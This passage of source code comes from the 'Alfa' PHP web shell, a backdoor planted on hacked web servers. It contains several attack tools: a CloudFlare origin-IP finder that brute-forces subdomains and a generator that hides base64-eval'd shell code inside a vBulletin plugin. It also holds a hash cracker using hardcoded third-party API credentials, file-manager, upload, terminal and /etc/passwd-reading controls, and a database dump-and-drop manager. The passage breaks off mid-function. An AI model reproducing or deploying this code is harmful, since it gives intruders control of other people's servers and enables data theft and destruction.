$subs = array('owa.','2tty.','m.','gw.','mx1.','store.','1','2','vb.','news.','download.','video','cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.','search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.','books.','answers.','service.','groups.','images.','upload.','up.','tube.','users.','admin.','administrator.','private.','design.','whmcs.','wp.','wordpress.','joomla.','vbulletin.','test.','developer.','panel.','contact.');
if(preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches)){
if($matches[2] != 'www'){$url = preg_replace('/^(https?):\/\//', '', $url);}else{
$url = explode($matches[0], $url);
$url = $url[1];}}
if(is_array($server))$server = $server[0];
echo __pre();
if(preg_match('/cloudflare/i', $server))
echo "\n[+] CloudFlare detected: {$server}\n<br>";
else
echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
echo "[+] Searching for more IP addresses.\n\n<br><br>";
for($x=0;$x<count($subs);$x++){
$site = $subs[$x] . $url;
$ip = is_ipv4(gethostbyname($site));
if($ip == '(Null)')
continue;
echo "Trying {$site}: {$ip}\n<br>";
}
echo "\n[+] Finished.\n<br>";
}
echo '</div>';
alfafooter();
}
function is_ipv4($ip){
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
}
function __alert($s){
echo '<center>'.__pre().$s.'</center>';
}
function create_table($data){
echo '<table border="1">';
foreach ($data as $key => $val){
$array = array();
foreach($val as $k => $v){
$array[$k] = $v;
}
echo "<tr><td><div class='tbltxt'>".$array['tdName']."</div></td><td><input type='text' id='".$array['id']."' name='".$array['inputName']."' ".($array['placeholder']?'placeholder':'value')."='".$array['inputValue']."' size='".$array['inputSize']."' ".($array['disabled']?'disabled':'')."></td></tr>";
}
echo '</table>';
}
function alfaphp2xml(){
alfahead();
AlfaNum(8,9,10,7,6,5,4,3);
echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>
<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
<input type='submit' name='go' value=' ' /></p></form></center>";
if($_POST['alfa2']&&$_POST['alfa2']=='>>'){
echo __pre()."<p><center><textarea rows='10' name='users' cols='80'>";
echo '<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\''.__ZW5jb2Rlcg($_POST['alfa1']).'\'));exit;}]]></phpcode></plugin></plugins>';
echo '</textarea></center></p>';
}
echo '</center></div>';
alfafooter();
}
function alfacpcrack(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'dec\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'analyzer\')">| Hash Analyzer | </a></h3></center>';
if($_POST['alfa1']=='dec'){
$algorithms = array('md5'=>'MD5','md4'=>'MD4','sha1'=>'SHA1','sha256'=>'SHA256','sha384'=>'SHA384','sha512'=>'SHA512','ntlm'=>'NTLM');
echo '<center><div class="txtfont_header">| DeCrypter |</div><br><br>
<form onsubmit="g(\'cpcrack\',null,\'dec\',this.md5.value,\'>>\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">';
foreach($algorithms as $key=>$val){echo('<option value="'.$key.'">'.$val.'</option>');}
echo'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
if($_POST['alfa3'] == '>>'){
$hash = $_POST['alfa2'];
if(!empty($hash)){
$hash_type = $_POST['alfa4'];
$email = "solevisible@gmail.com";
$code = "7b9fa79f92c3cd96";
$target = "https://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;
$resp = @file_get_contents($target);
if($resp==''){
$get = new AlfaCURL();
$resp = $get->Send($target);
}
echo __pre().'<center>';
switch($resp){
case('CODE ERREUR : 001'):echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";break;
case('CODE ERREUR : 003'):echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";break;
case('CODE ERREUR : 004'):echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";break;
case('CODE ERREUR : 005'):echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";break;
}
if(substr($resp,0,4)!='CODE'&&$resp!=''){
echo "<b>Result: <font color='green'>".$resp."</font></b>";
}elseif(substr($resp,0,4)!='CODE'){
echo "<font color='red'>NoT Found</font><br />";
}
echo('</center>');
}
}
}
if($_POST['alfa1']=='analyzer'){
echo '<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>
<form onsubmit="g(\'cpcrack\',null,\'analyzer\',this.hash.value,\'>>\');return false;">
<div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
if($_POST['alfa3'] == '>>'){
$hash = $_POST['alfa2'];
if(!empty($hash)){
$curl = new AlfaCURL();
$resp = $curl->Send("https://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");
echo(__pre().'<center>');
if(preg_match('#<fieldset class="trouve">(.*?)</fieldset>#',$resp,$s)){
echo('<font color="green">'.$s[1].'</font>');
}else{
echo('<font color="red">Not Found...!</font>');
}
echo('</center><br>');
}
}
}
echo '</div>';
alfafooter();
}
function alfafooter(){
if(!isset($_POST['ajax'])){
echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
<tr>
<td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td>
<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td>
<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td>
<td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td>
</tr>
<tr>
<td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='".htmlspecialchars($GLOBALS['cwd'])."'> <input type='submit' value=' '></form></td>
<td colspan='2'><form onsubmit=\"editor(this.file.value,'view','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td>
</tr>
<tr>
<td colspan='4'><form style='margin-top: 10px;' onsubmit=\"return false;\" autocomplete='off'><span><span class='footer_text'>Execute :</span><br><button onClick='alfaOpenPhpTerminal();return false;' class='foottable alfa_custom_cmd_btn'><img style='width:28px;vertical-align: middle;' src='http://solevisible.com/icons/menu/terminal.svg'> Terminal</button><br></form></td>
</tr>
<tr>
<td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'>
<input type='hidden' name='a' value='FilesMAn'>
<input type='hidden' name='c' value='" . $GLOBALS['cwd'] ."'>
<input type='hidden' name='ajax' value='true'>
<input type='hidden' name='alfa1' value='uploadFile'>
<input type='hidden' name='charset' value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong> Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);' multiple></p><input type='submit' name='submit' value=' '></form><div id='alfa-copyright'><span class='copyright'>[ ./AlfaTeam © 2012-".date('Y')." ]</span><br><span><a href='javascript:void(0);' onclick='alert(\"BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo\");' style='color: #E91E63;text-decoration: none;'>Donate Us !</a></span> <span style='letter-spacing: 2px;color: #dfff00;'>solevisible[at]gmail.com</span> <span><a style='color: #ff6060;text-decoration: none;' target='_blank' href='https://telegram.me/solevisible'>@solevisible</a></span></div></td>
</tr>
</table>
</div>
<div id='options_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"options_window\");'></div><div onClick='editorClose(\"options_window\");' class='close-button'></div></div></div><div style='height:100%;' class='content_options_holder'><div class='options_tab'></div><div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'></div></div></div></div>
<div id='database_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'>Sql Manager</div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"database_window\");'></div><div onClick='editorClose(\"database_window\");' class='close-button'></div></div></div><div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'><div class='sql-tabs'></div><div class='sql-contents' style='max-height: 85vh;'></div></div></div></div>
<div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'><div class='terminal-tabs'></div><div style='height:90%;' class='terminal-contents'></div></div></div></div>
<div id='editor' style='display:none;'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'><<</div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'><div class='editor-tabs'></div><div class='editor-content-holder'></div></div></div></div></div></div>
<div id='update-content'></div>
<div id='database_window-minimized' onclick='showEditor(\"database_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div class='minimized-text' style='top: 15px;'>Database</div></div></div>
<div id='options_window-minimized' onclick='showEditor(\"options_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 4px;' class='minimized-text'>Options</div></div></div>
<div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 2px;' class='minimized-text'>Editor</div></div></div>
<div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 12px;' class='minimized-text'>Cgi Shell</div></div></div>
<div id='rightclick_menu'>
<a target='_blank' href='' name='newtab'><img src=\"http://solevisible.com/icons/menu/newtab.svg\"> Open in new tab</a>
<a target='_blank' href='' name='link'><img src=\"http://solevisible.com/icons/menu/link.svg\"> Open file directly</a>
<a href='javascript:void(0);' name='download'><img src=\"http://solevisible.com/icons/menu/download2.svg\"> Download</a>
<a href='' name='view'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View</a>
<a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='view_archive'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View Archive</a>
<a href='' name='edit'><img src=\"http://solevisible.com/icons/menu/edit.svg\"> Edit</a>
<a href='javascript:void(0);' onclick='alfaPopupAction(this, \"move\");' ftype='' path='' fname='' href='' href='' name='move'><img src=\"http://solevisible.com/icons/menu/move.svg\"> Move</a>
<a href='javascript:void(0);' onclick='alfaPopupAction(this, \"copy\");' ftype='' path='' fname='' href='' name='copy'><img src=\"http://solevisible.com/icons/menu/copy.svg\"> Copy</a>
<a href='javascript:void(0);' onclick='alfaPopupAction(this, \"rename\");' ftype='' path='' fname='' name='rename'><img src=\"http://solevisible.com/icons/menu/rename.svg\"> Rename</a>
<a href='javascript:void(0);' onclick='alfaPopupAction(this, \"modify\");' ftype='' path='' fname='' name='modify'><img src=\"http://solevisible.com/icons/menu/time.svg\"> Modify</a>
<a href='javascript:void(0);' onclick='alfaPopupAction(this, \"permission\");' name='permission'><img src=\"http://solevisible.com/icons/menu/key.svg\"> Change Permissions</a>
<a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='compress'><img src=\"http://solevisible.com/icons/menu/resize.svg\"> Compress</a>
<a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='extract'><img src=\"http://solevisible.com/icons/menu/increase.svg\"> Extract</a>
<a href='javascript:void(0);' name='delete'><img src=\"http://solevisible.com/icons/menu/delete.svg\"> Delete</a>
</div>
<div id=\"filesman-tab-full-path\"></div>
<div id='alert-area' class='alert-area'></div>
<div class='cl-popup-fixed' style='display:none;'>
<div id='shortcutMenu-holder'>
<div class='popup-head'></div>
<form autocomplete='off' onSubmit='return false;'>
<label class='old-path-lbl'></label>
<div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'></div>
<label style='margin-top:10px;' class='new-filename-lbl'>New file name</label>
<input type='text' name='fname'>
<div class='perm-table-holder'>
<table>
<tbody>
<tr>
<td><b>Mode</b></td>
<td>User</td>
<td>Group</td>
<td>World</td>
</tr>
<tr>
<td>Read</td>
<td><input type='checkbox' name='ur' value='4' onclick='calcperm();'></td>
<td><input type='checkbox' name='gr' value='4' onclick='calcperm();'></td>
<td><input type='checkbox' name='wr' value='4' onclick='calcperm();'></td>
</tr>
<tr>
<td>Write</td>
<td><input type='checkbox' name='uw' value='2' onclick='calcperm();'></td>
<td><input type='checkbox' name='gw' value='2' onclick='calcperm();'></td>
<td><input type='checkbox' name='ww' value='2' onclick='calcperm();'></td>
</tr>
<tr>
<td>Execute</td>
<td><input type='checkbox' name='ux' value='1' onclick='calcperm();'></td>
<td><input type='checkbox' name='gx' value='1' onclick='calcperm();'></td>
<td><input type='checkbox' name='wx' value='1' onclick='calcperm();'></td>
</tr>
<tr>
<td>Permission</td>
<td><input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"u\", [\"u\"]);'></td>
<td><input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"g\", [\"g\"]);'></td>
<td><input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"w\", [\"w\"]);'></td>
</tr>
</tbody>
</table>
</div>
</form>
<div class='popup-foot'>
<button style='background: #2b5225;' name='accept' action='' onclick='alfaPopUpDoAction(this);'></button>
<button style='background: #9e2c2c;' onclick='d.querySelector(\".cl-popup-fixed\").style.display=\"none\";'>Cancell</button>
</div>
</div>
</div>";?>
<script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'> <a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":" ")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="<<",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML=">>",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>></option><option value='>='>>=</option><option value='<'><</option><option value='<='><=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure 